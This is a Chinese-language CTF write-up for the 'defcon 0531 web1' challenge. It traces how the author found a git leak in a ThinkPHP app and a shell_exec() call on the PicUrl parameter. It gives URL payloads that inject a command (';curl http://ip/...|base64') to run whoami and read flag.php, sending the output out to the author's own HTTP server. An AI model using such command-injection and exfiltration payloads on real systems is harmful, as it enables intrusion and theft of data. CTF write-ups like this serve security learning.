defcon 0531 web1(微信公众号web题) writeup
defcon 0531 web1(微信公众号web题) writeup
题目要求关注denfcon 0531公众号,关注上去了,按照题目要求输入DC0531,得到题目。
有点迷,真的有点迷。什么找到武器,拿起武器,装好武器,射向你的目标,检查你的武器状态,上传你的武器。太迷了。。
仔细想了一下,这个题目,输入s:可能会访问输入的目标。
试了一下,用python开了一个simplehttpserver,发现没有回显。。可能是ping,用tcpdump抓ICMP协议的数据包。
root@d1:~# tcpdump -i eth0 icmp
再从微信号发起指令,发现有ip向我发了icmp的包,成功抓到了公众号接口的ip
发现,主页写着 welcome DC0531。-.-那就真的无误了。扫了一下,发现有git泄露。
看了一下源码,发现是ThinkPHP,翻了一下,定位到了接口控制器的php文件。、
/Application/Home/Controller/TestController.class.php(附件会上传源码)
仔细看了一下代码,找到了危险的函数。shell_exec()
想了一下,可以定义这个PicUrl变量,代码执行。不过还要仔细分析一下,当前这个环境,怎么构造这个payload。
因为是ThinkPHP方式,可以用他的路由方法直接指向这个控制器。
所以构造了payload:
http://139.198.3.171/?c=test&a=u&PicUrl=localhost;curl%20http://ip/whoami|base64
payload中这个c的参数的意思是Controller,c=test,指向了TestController.class.php这个控制器。a=u,a是action,action=u,在TestController.class.php里构造u这个动作,传入$PicUrl这个变量。
这个payload可以成功执行,但是没有回显。
用python开一个简易的http,可以看到回显。
root@d1:~# python -m SimpleHTTPServer 80
原理详见:https://blog.csdn.net/qq_27446553/article/details/73927518
仔细找了一下,可以直接cat到flag,payload:
http://139.198.3.171/?c=test&a=u&PicUrl=localhost;curl%20http://ip/cat%20flag.php|base64
附大佬writeup,另一种组合拳解法:http://sec2hack.com/ctf/dc0531-ctf-writeup.html
源码附件地址:http://www.o2oxy.cn/wp-content/uploads/2018/06/源码.zip